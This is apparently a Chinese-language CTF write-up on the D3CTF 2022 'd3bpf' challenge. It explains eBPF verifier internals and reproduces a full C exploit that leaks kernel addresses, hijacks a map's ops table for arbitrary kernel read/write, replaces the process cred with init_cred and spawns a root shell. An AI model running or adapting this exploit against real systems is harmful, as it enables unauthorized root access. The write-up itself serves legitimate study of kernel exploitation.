D3ctf2022 - d3bpf

主要是通过stdnoerr. 的exp进行ebpf的学习,这位作者的利用手法 相比出题人的利用方法更为巧妙,也更为简单。

ALU Sanitation

对于涉及指针和标量寄存器的每个算术运算,都会计算一个alu_limit。这表示可以从指针中添加或减去的最大绝对值。在这些操作中的每一个之前,字节码都使用以下指令进行修补:

1
2
3
4
5
6
7
*patch++ = BPF_MOV32_IMM(BPF_REG_AX, aux->alu_limit);
*patch++ = BPF_ALU64_REG(BPF_SUB, BPF_REG_AX, off_reg);
*patch++ = BPF_ALU64_REG(BPF_OR, BPF_REG_AX, off_reg);
*patch++ = BPF_ALU64_IMM(BPF_NEG, BPF_REG_AX, 0);
*patch++ = BPF_ALU64_IMM(BPF_ARSH, BPF_REG_AX, 63);//如果是负数,算数右移63即全部位为1
// 如果是正数,算数右移63即全部位为0
*patch++ = BPF_ALU64_REG(BPF_AND, BPF_REG_AX, off_reg);

通过减法和或来判断符号位,以此来判断off_reg于alu_limt大小,如果off_reg > alu_limit ,或者 off_reg 与 alu_limit 符号相反,off_reg 将被替换成0 (与0进行and运算),使得此次指针运算无效,否则的话不变。

tnum struct

这里引用了@becase 师傅的注释

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
// ------------------------------------------------
struct bpf_reg_state {
enum bpf_reg_type type;
union {
/* valid when type == PTR_TO_PACKET */
u16 range;

/* valid when type == CONST_PTR_TO_MAP | PTR_TO_MAP_VALUE |
* PTR_TO_MAP_VALUE_OR_NULL
*/
struct bpf_map *map_ptr;

u32 btf_id; /* for PTR_TO_BTF_ID */

/* Max size from any of the above. */
unsigned long raw;
};
s32 off;
u32 id;
u32 ref_obj_id;
/* For scalar types (SCALAR_VALUE), this represents our knowledge of
* the actual value.
* For pointer types, this represents the variable part of the offset
* from the pointed-to object, and is shared with all bpf_reg_states
* with the same id as us.
*/
struct tnum var_off; // tnum结构体详见以下!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
/* Used to determine if any memory access using this register will
* result in a bad access.
* These refer to the same value as var_off, not necessarily the actual
* contents of the register.
*/
s64 smin_value; // 有符号时可能的最小值
s64 smax_value; // 有符号时可能的最大值
u64 umin_value; // 无符号时可能的最小值
u64 umax_value; // 无符号时可能的最大值
struct bpf_reg_state *parent;
u32 frameno;
s32 subreg_def;
enum bpf_reg_liveness live;
/* if (!precise && SCALAR_VALUE) min/max/tnum don't affect safety */
bool precise;
};

// ------------------------------------------------
/* tnum: tracked (or tristate) numbers
*
* A tnum tracks knowledge about the bits of a value. Each bit can be either
* known (0 or 1), or unknown (x). Arithmetic operations on tnums will
* propagate the unknown bits such that the tnum result represents all the
* possible results for possible values of the operands.
*/
struct tnum {
u64 value; // value: 某个bit为1 表示这个寄存器的这个bit 确定是1
u64 mask; // mask: 某个bit 为1表示这个 bit 是未知的
};

掩码中设置的每一位都意味着该位的值是未知的 未设置的位是已知的,它们的真实值存储在 value 中。例如,如果**var_off = {mask = 0x0; value = 0x1},寄存器的所有位都是已知的,并且已知寄存器的值为 1。如果var_off = {mask = 0xFFFFFFFF00000000; value = 0x3}**表示寄存器的低 32 位已知为 0x00000003,高 32 位未知。

结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
❯ pahole -C bpf_array vmlinux
struct bpf_array {
struct bpf_map map; /* 0 256 */

/* XXX last struct has 40 bytes of padding */

/* --- cacheline 4 boundary (256 bytes) --- */
u32 elem_size; /* 256 4 */
u32 index_mask; /* 260 4 */
struct bpf_array_aux * aux; /* 264 8 */
union {
char value[0]; /* 272 0 */
void * ptrs[0]; /* 272 0 */
void * pptrs[0]; /* 272 0 */
}; /* 272 0 */

/* size: 320, cachelines: 5, members: 5 */
/* padding: 48 */
/* paddings: 1, sum paddings: 40 */
};


❯ pahole -C bpf_map vmlinux
struct bpf_map {
const struct bpf_map_ops * ops; /* 0 8 */
struct bpf_map * inner_map_meta; /* 8 8 */
void * security; /* 16 8 */
enum bpf_map_type map_type; /* 24 4 */
u32 key_size; /* 28 4 */
u32 value_size; /* 32 4 */
u32 max_entries; /* 36 4 */
u32 map_flags; /* 40 4 */
int spin_lock_off; /* 44 4 */
u32 id; /* 48 4 */
int numa_node; /* 52 4 */
u32 btf_key_type_id; /* 56 4 */
u32 btf_value_type_id; /* 60 4 */
/* --- cacheline 1 boundary (64 bytes) --- */
struct btf * btf; /* 64 8 */
struct mem_cgroup * memcg; /* 72 8 */
char name[16]; /* 80 16 */
u32 btf_vmlinux_value_type_id; /* 96 4 */
bool bypass_spec_v1; /* 100 1 */
bool frozen; /* 101 1 */

/* XXX 26 bytes hole, try to pack */

/* --- cacheline 2 boundary (128 bytes) --- */
atomic64_t refcnt; /* 128 8 */
atomic64_t usercnt; /* 136 8 */
struct work_struct work; /* 144 32 */
struct mutex freeze_mutex; /* 176 32 */
/* --- cacheline 3 boundary (192 bytes) was 16 bytes ago --- */
u64 writecnt; /* 208 8 */

/* size: 256, cachelines: 4, members: 24 */
/* sum members: 190, holes: 1, sum holes: 26 */
/* padding: 40 */
};


❯ pahole -C bpf_map_ops vmlinux
struct bpf_map_ops {
int (*map_alloc_check)(union bpf_attr *); /* 0 8 */
struct bpf_map * (*map_alloc)(union bpf_attr *); /* 8 8 */
void (*map_release)(struct bpf_map *, struct file *); /* 16 8 */
void (*map_free)(struct bpf_map *); /* 24 8 */
int (*map_get_next_key)(struct bpf_map *, void *, void *); /* 32 8 */
void (*map_release_uref)(struct bpf_map *); /* 40 8 */
void * (*map_lookup_elem_sys_only)(struct bpf_map *, void *); /* 48 8 */
int (*map_lookup_batch)(struct bpf_map *, const union bpf_attr *, union bpf_attr *); /* 56 8 */
/* --- cacheline 1 boundary (64 bytes) --- */
int (*map_lookup_and_delete_batch)(struct bpf_map *, const union bpf_attr *, union bpf_attr *); /* 64 8 */
int (*map_update_batch)(struct bpf_map *, const union bpf_attr *, union bpf_attr *); /* 72 8 */
int (*map_delete_batch)(struct bpf_map *, const union bpf_attr *, union bpf_attr *); /* 80 8 */
void * (*map_lookup_elem)(struct bpf_map *, void *); /* 88 8 */
int (*map_update_elem)(struct bpf_map *, void *, void *, u64); /* 96 8 */
int (*map_delete_elem)(struct bpf_map *, void *); /* 104 8 */
int (*map_push_elem)(struct bpf_map *, void *, u64); /* 112 8 */
int (*map_pop_elem)(struct bpf_map *, void *); /* 120 8 */
/* --- cacheline 2 boundary (128 bytes) --- */
int (*map_peek_elem)(struct bpf_map *, void *); /* 128 8 */
void * (*map_fd_get_ptr)(struct bpf_map *, struct file *, int); /* 136 8 */
void (*map_fd_put_ptr)(void *); /* 144 8 */
int (*map_gen_lookup)(struct bpf_map *, struct bpf_insn *); /* 152 8 */
u32 (*map_fd_sys_lookup_elem)(void *); /* 160 8 */
void (*map_seq_show_elem)(struct bpf_map *, void *, struct seq_file *); /* 168 8 */
int (*map_check_btf)(const struct bpf_map *, const struct btf *, const struct btf_type *, const struct btf_type *); /* 176 8 */
int (*map_poke_track)(struct bpf_map *, struct bpf_prog_aux *); /* 184 8 */
/* --- cacheline 3 boundary (192 bytes) --- */
void (*map_poke_untrack)(struct bpf_map *, struct bpf_prog_aux *); /* 192 8 */
void (*map_poke_run)(struct bpf_map *, u32, struct bpf_prog *, struct bpf_prog *); /* 200 8 */
int (*map_direct_value_addr)(const struct bpf_map *, u64 *, u32); /* 208 8 */
int (*map_direct_value_meta)(const struct bpf_map *, u64, u32 *); /* 216 8 */
int (*map_mmap)(struct bpf_map *, struct vm_area_struct *); /* 224 8 */
__poll_t (*map_poll)(struct bpf_map *, struct file *, struct poll_table_struct *); /* 232 8 */
int (*map_local_storage_charge)(struct bpf_local_storage_map *, void *, u32); /* 240 8 */
void (*map_local_storage_uncharge)(struct bpf_local_storage_map *, void *, u32); /* 248 8 */
/* --- cacheline 4 boundary (256 bytes) --- */
struct bpf_local_storage * * (*map_owner_storage_ptr)(void *); /* 256 8 */
bool (*map_meta_equal)(const struct bpf_map *, const struct bpf_map *); /* 264 8 */
const const char * map_btf_name; /* 272 8 */
int * map_btf_id; /* 280 8 */
const struct bpf_iter_seq_info * iter_seq_info; /* 288 8 */

/* size: 296, cachelines: 5, members: 37 */
/* last cacheline: 40 bytes */
};

image-20221117224325111

image-20221117231533062

image-20221117231550215

我一度以为bpf_array 中的value 直接就是个指向数组的指针,结果调试的时候才发现这是个数组来着的( 这导致了我一开始一直没能理解exp是怎么实现任意写的

image-20221118223748297

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
#include<stdio.h>
#include<stdint.h>
#include<string.h>
#include<syscall.h>
#include<unistd.h>
#include<sys/socket.h>
#include<linux/bpf.h>
#include "bpf_insn.h"
#include <stdlib.h>

#define ARRAY_MAP_OPS_OFFSET 0x10363a0
#define ARRAY_MAP_LOOKUP_ELEM_OFFSET 0x20e830
#define ARRAY_MAP_UPDATE_ELEM_OFFSET 0x20eeb0
#define PERCPU_OFFSET 0x149c900
#define current_task 0x17bc0
#define INIT_CRED_OFFSET 0x1a6b880
#define CRED_OFFSET 0xad8

int socks[2] = {-1};
int oob_map_fd, arb_read_write_map_fd, info_map_fd;

int bpf(int cmd,union bpf_attr *attr){
return syscall(__NR_bpf, cmd, attr, sizeof(*attr));
}

int bpf_prog_load(union bpf_attr *attr){
return bpf(BPF_PROG_LOAD,attr);
}

union bpf_attr* creat_bpf_prog(struct bpf_insn *insns,unsigned int insn_cnt){
union bpf_attr* attr=(union bpf_attr*)malloc(sizeof(union bpf_attr));

attr->prog_type=BPF_PROG_TYPE_SOCKET_FILTER;
attr->insn_cnt=insn_cnt;
attr->insns=(uint64_t)insns;
attr->license=(uint64_t)"";
return attr;
}

int attach_socket(int prog_fd){
if(socks[0]==-1&&socketpair(AF_UNIX,SOCK_DGRAM,0,socks)<0){
perror("socketpair");
exit(1);
}
if(setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &prog_fd, sizeof(prog_fd)) < 0){
perror("setsockopt");
exit(1);
}
}

void setup_bpf_prog(struct bpf_insn* insns,uint insncnt){
char log_buffer[0x4000];

union bpf_attr *prog=creat_bpf_prog(insns,insncnt);

prog->log_level=2;
prog->log_buf=(uint64_t)log_buffer;
prog->log_size=sizeof(log_buffer);
strncpy(prog->prog_name, "stdnoerr", 16);

int prog_fd=bpf_prog_load(prog);

printf("%d\n", strlen(log_buffer));
puts(log_buffer);

if(prog_fd < 0){
perror("prog_load");
exit(1);
}

attach_socket(prog_fd);
}

void run_bpf_prog(struct bpf_insn *insns,uint insncnt){
int val=0;

setup_bpf_prog(insns,insncnt);
write(socks[1],&val,sizeof(val));
}

int bpf_map_create(uint32_t key_size,uint32_t value_size,uint32_t max_entries){
union bpf_attr attr={
.map_type = BPF_MAP_TYPE_ARRAY,
.key_size = key_size,
.value_size = value_size,
.max_entries = max_entries
};
return bpf(BPF_MAP_CREATE,&attr);
}

int bpf_map_update_elem(int map_fd, uint64_t key, uint64_t* value, uint64_t flags){
union bpf_attr attr = {
.map_fd = map_fd,
.key = (uint64_t) &key,
.value = (uint64_t) value,
.flags = flags
};

return bpf(BPF_MAP_UPDATE_ELEM, &attr);
}

uint64_t bpf_map_lookup_elem(int map_fd, uint32_t key, int index){
uint64_t value[0x150/8] = {};

union bpf_attr attr = {
.map_fd = map_fd,
.key = (uint64_t) &key,
.value = (uint64_t) &value,
};

bpf(BPF_MAP_LOOKUP_ELEM, &attr);
return value[index];
}

uint64_t arb_read(uint64_t addr){
int req=0;
bpf_map_update_elem(arb_read_write_map_fd,0,&addr,BPF_ANY);

write(socks[1], &req, sizeof(req));

return bpf_map_lookup_elem(info_map_fd,0,0);
}

int arb_write(uint64_t addr,uint64_t val){
int req=1;

bpf_map_update_elem(arb_read_write_map_fd,0,&addr,BPF_ANY);
//arb_read_write_map value[0]=addr
bpf_map_update_elem(info_map_fd, 0, &val, BPF_ANY);
//info_map value=arb_read_write_map value[0] , *(value)=*(addr)=val

write(socks[1], &req, sizeof(req));

return bpf_map_lookup_elem(info_map_fd, 0, 0) == val;
}


int main(){
int idx=0;
struct bpf_map_info map_info={};

oob_map_fd=bpf_map_create(4,0x150,1);
arb_read_write_map_fd=bpf_map_create(4,8,1);
info_map_fd=bpf_map_create(4,8,1);

if(oob_map_fd < 0){
perror("create_map");
return 1;
}


struct bpf_insn kleak_prog[]={

BPF_MOV64_IMM(BPF_REG_0,0), // r0=0
BPF_STX_MEM(BPF_W,BPF_REG_10,BPF_REG_0,-4),// *(r10-4)=r0=0
BPF_MOV64_REG(BPF_REG_6, BPF_REG_1),// r6=r1
BPF_LD_MAP_FD(BPF_REG_1, oob_map_fd),//r1=&oob_map
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),//
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),//r2=r10-4 *r2=0
BPF_CALL_FUNC(BPF_FUNC_map_lookup_elem), // r0=map_lookup(r1,r2)
// returns map_ptr + 0x110 (offset of .values in bpf_array)

BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(),

// trigger vuln and make eBPF think we are still map_ptr + 0x110
BPF_MOV64_REG(BPF_REG_7, BPF_REG_0),//r7=r0
BPF_MOV64_IMM(BPF_REG_0,0x110),//r0=0x110
BPF_MOV64_IMM(BPF_REG_1,64),//r1=64
BPF_ALU64_REG(BPF_RSH,BPF_REG_0,BPF_REG_1),//r0 = r0 >> 64 ,r0 real=0x110,fake=0
BPF_ALU64_REG(BPF_SUB,BPF_REG_7,BPF_REG_0),//r7-=r0 r7 real=map_ptr fake=map_ptr+0x110
BPF_LDX_MEM(BPF_DW, BPF_REG_8, BPF_REG_7, 0), // r8=*(r7) =*(map_ptr)
//load map_value
BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 0xc0),// r7+=0xc0
BPF_LDX_MEM(BPF_DW, BPF_REG_9, BPF_REG_7, 0), //r9=*(r7) =*(map_ptr+0xc0)

//write the r8 r9
BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 0x50), //r7+=0x50 r7=map_ptr+0x110
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0),// *(map_ptr+0x110)=r8 value[0]
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_9, 8),// *(map_ptr+0x118)=r9 value[1]

BPF_EXIT_INSN()
};

run_bpf_prog(kleak_prog, sizeof(kleak_prog)/sizeof(kleak_prog[0]));

uint64_t array_map_ops = bpf_map_lookup_elem(oob_map_fd, 0, 0);
uint64_t map_ptr = bpf_map_lookup_elem(oob_map_fd, 0, 1) - 0xc0;
uint64_t map_ptr_values = map_ptr + 0x110;
uint64_t kbase = array_map_ops - ARRAY_MAP_OPS_OFFSET;
uint64_t __per_cpu_offset = kbase + PERCPU_OFFSET;

printf("array_map_ops: %p\nkbase: %p\nmap_ptr: %p\n", array_map_ops, kbase, map_ptr);

struct bpf_insn overwrite_ops[]={
BPF_MOV64_REG(BPF_REG_6,BPF_REG_1),//r6=r1
BPF_MOV64_IMM(BPF_REG_0,0),//r0=0
BPF_STX_MEM(BPF_W,BPF_REG_10,BPF_REG_0,-4),// *(r10-4)=r0=0
BPF_MOV64_REG(BPF_REG_2,BPF_REG_10),// r2=r10
BPF_ALU64_IMM(BPF_ADD,BPF_REG_2,-4),// *r2=0
BPF_LD_MAP_FD(BPF_REG_1, oob_map_fd),
BPF_CALL_FUNC(BPF_FUNC_map_lookup_elem),
// returns r0 = map_ptr + 0x110 (offset of .values in bpf_array)

BPF_JMP_IMM(BPF_JNE,BPF_REG_0,0,1),
BPF_EXIT_INSN(),

//还原ops表,主要是update,lookup这种会用到的功能,
BPF_MOV64_REG(BPF_REG_7,BPF_REG_0),//r7=map_ptr+0x110
BPF_MOV64_IMM(BPF_REG_0,kbase+ARRAY_MAP_UPDATE_ELEM_OFFSET),
BPF_STX_MEM(BPF_DW,BPF_REG_7,BPF_REG_0,0x60),//*(r7+0x60)=r0

BPF_MOV64_IMM(BPF_REG_0,kbase+ARRAY_MAP_LOOKUP_ELEM_OFFSET),
BPF_STX_MEM(BPF_DW,BPF_REG_7,BPF_REG_0,0x58),//*(r7+0x58)=r0

BPF_MOV64_IMM(BPF_REG_0, kbase + 0x20e9c0), // array_of_map_gen_lookup
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 19 * 8),

BPF_MOV64_IMM(BPF_REG_0, kbase + 0x20eff0), // array_map_free
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 3 * 8),

BPF_MOV64_REG(BPF_REG_2,BPF_REG_10),//r2=r10
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),//*r2=0
BPF_LD_MAP_FD(BPF_REG_1,arb_read_write_map_fd),//r1=arb_read_write_map_fd
BPF_CALL_FUNC(BPF_FUNC_map_lookup_elem),//r0 = map_value_ptr = map_ptr + 0x110

BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(),

BPF_MOV64_REG(BPF_REG_7, BPF_REG_0), // r7 = r0

BPF_MOV64_IMM(BPF_REG_0,0x110),
BPF_MOV64_IMM(BPF_REG_1,64),
BPF_ALU64_REG(BPF_RSH,BPF_REG_0,BPF_REG_1),//fake r0=0 , real r0=0x110
BPF_ALU64_REG(BPF_SUB,BPF_REG_7,BPF_REG_0),//r7=map_ptr

BPF_LD_IMM64(BPF_REG_0, map_ptr_values),

BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0),// *r7=*(map_ptr)=map_ptr + 0x110
BPF_EXIT_INSN(),
};
run_bpf_prog(overwrite_ops, sizeof(overwrite_ops)/sizeof(overwrite_ops[0]));

printf("[+] overwrite ops done\n");
// now arb_read_write_map_ptr.ops = map_ptr+0x110
// *(ops+0x58)=ARRAY_MAP_LOOKUP_ELEM
// *(ops+0x60)=ARRAY_MAP_UPDATE_ELEM
// *(ops+0x18)=array_map_free
// *(ops+0x8*19)=array_of_map_gen_lookup

struct bpf_insn arb_read_write[] = {
BPF_MOV64_REG(BPF_REG_6,BPF_REG_1),//r6=r1
BPF_MOV64_IMM(BPF_REG_0,0),//r0=0
BPF_STX_MEM(BPF_W,BPF_REG_10,BPF_REG_0,-4),// *(r10-4)=r0=0
BPF_MOV64_REG(BPF_REG_2,BPF_REG_10),// r2=r10
BPF_ALU64_IMM(BPF_ADD,BPF_REG_2,-4),// *r2=0
BPF_LD_MAP_FD(BPF_REG_1, arb_read_write_map_fd),//
BPF_CALL_FUNC(BPF_FUNC_map_lookup_elem),//arb_read_write_map_fd
// call *(ops+0x58) ARRAY_MAP_LOOKUP_ELEM
//ret r0 = arb_read_write_map_ptr+0x110
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(),


BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),// r8=r0=arb_read_write_map_ptr+0x110

BPF_LD_ABS(BPF_B, 0),// loads a byte from the socket ?

BPF_MOV64_REG(BPF_REG_9, BPF_REG_0), // r9=r0; 0 for read, 1 for write

BPF_MOV64_REG(BPF_REG_2,BPF_REG_10), //r2=r10
BPF_ALU64_IMM(BPF_ADD,BPF_REG_2,-4), // *r2=0
BPF_LD_MAP_FD(BPF_REG_1,info_map_fd),
BPF_CALL_FUNC(BPF_FUNC_map_lookup_elem),//info_map_fd
// returns r0=info_map_ptr + 0x110

BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(),

BPF_JMP_IMM(BPF_JEQ, BPF_REG_9, 1, 4),
//arb_read read from info_map
BPF_LDX_MEM(BPF_DW,BPF_REG_7,BPF_REG_8,0),// r7=*(r8+0)=*(arb_read_write_map_ptr+0x110)= read_addr
BPF_STX_MEM(BPF_DW,BPF_REG_0,BPF_REG_7,0),//*(r0+0)=*(info_map_ptr + 0x110)=read_addr

BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),

//if r9 == 1 jmp hear
//arb_write write to arb_read_write_map
BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0), // r7=*(r0+0)=*(info_map_ptr + 0x110)=write_val
BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_7, 0), //*(r8+0)=*(arb_read_write_map_ptr+0x110)=*(write_addr)=write_val

BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),

};
setup_bpf_prog(arb_read_write, sizeof(arb_read_write)/sizeof(arb_read_write[0]));

uint64_t current_task_struct = arb_read(arb_read(__per_cpu_offset) + current_task);
uint64_t init_cred = kbase + INIT_CRED_OFFSET;

arb_write(current_task_struct + CRED_OFFSET, init_cred);

system("/bin/sh");
return 0;
}

比较重要的地方:

image-20221118205718895

内核开启了jit,ebpf程序会被jitted,

当我们劫持了ops表时,覆盖MAP_LOOKUP时,它们调用的映射函数将直接转换为对这些函数的调用。这意味着 jitted 程序不会ops在运行时使用该值来找出正确的函数。函数的地址将嵌入代码中(根据opsat jit-time),然而map_lookup_elem是一种特殊情况,不是将函数的地址嵌入到代码中,map_gen_lookup而是使用函数名称生成等效的 eBPF 指令,这些指令将成为 eBPF 程序的一部分

主要参考 https://stdnoerr.github.io/writeup/2022/08/21/eBPF-exploitation-(ft.-D-3CTF-d3bpf).html

关于绕过verified :

map类型为BPF_MAP_TYPE_ARRAY_OF_MAPS 时,调用的lookup函数会有一次read_once 的解引用操作,真的神奇…… 一度让我调了很久,卡在这里不知道怎么任意写的,后面终于理解了。

1
2
3
4
5
6
7
8
9
static void *array_of_map_lookup_elem(struct bpf_map *map, void *key)
{
struct bpf_map **inner_map = array_map_lookup_elem(map, key);

if (!inner_map)
return NULL;

return READ_ONCE(*inner_map);
}

我们劫持map_lookup_elem 为 array_of_map_lookup_elem,验证器会认为返回的是map_value的地址,而事实上返回的是map_value的值(而这是我们可控的),当我们覆盖 map_value的值时,再去通过*(map_value_addr)去修改map_value,实际上修改的时map_value值所指向的内容,这就实现了任意写。而当我们通过*(map_value_addr)获取map_value时,实际上获取的是map_value的内容,这就实现了任意读,而map_value的值是由我们用户通过update直接写入的,验证器并不检查其值(?这里我不确定还)。

关于提权

此作者通过 __per_cpu_offset + current_task 获取当前进程的task_strcut,前提是这是单处理器,然后再覆盖本task的cred为init cred。

参考资料

https://stdnoerr.github.io/writeup/2022/08/21/eBPF-exploitation-(ft.-D-3CTF-d3bpf).html

https://cjovi.icu/WP/1604.html

https://www.dingmos.com/index.php/archives/16/

https://forum.90sec.com/t/topic/630/1

https://man7.org/linux/man-pages/man2/bpf.2.html

https://www.graplsecurity.com/post/kernel-pwning-with-ebpf-a-love-story

https://a1ex.online/2021/04/24/CVE-2017-16995-%E5%86%85%E6%A0%B8%E6%8F%90%E6%9D%83%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/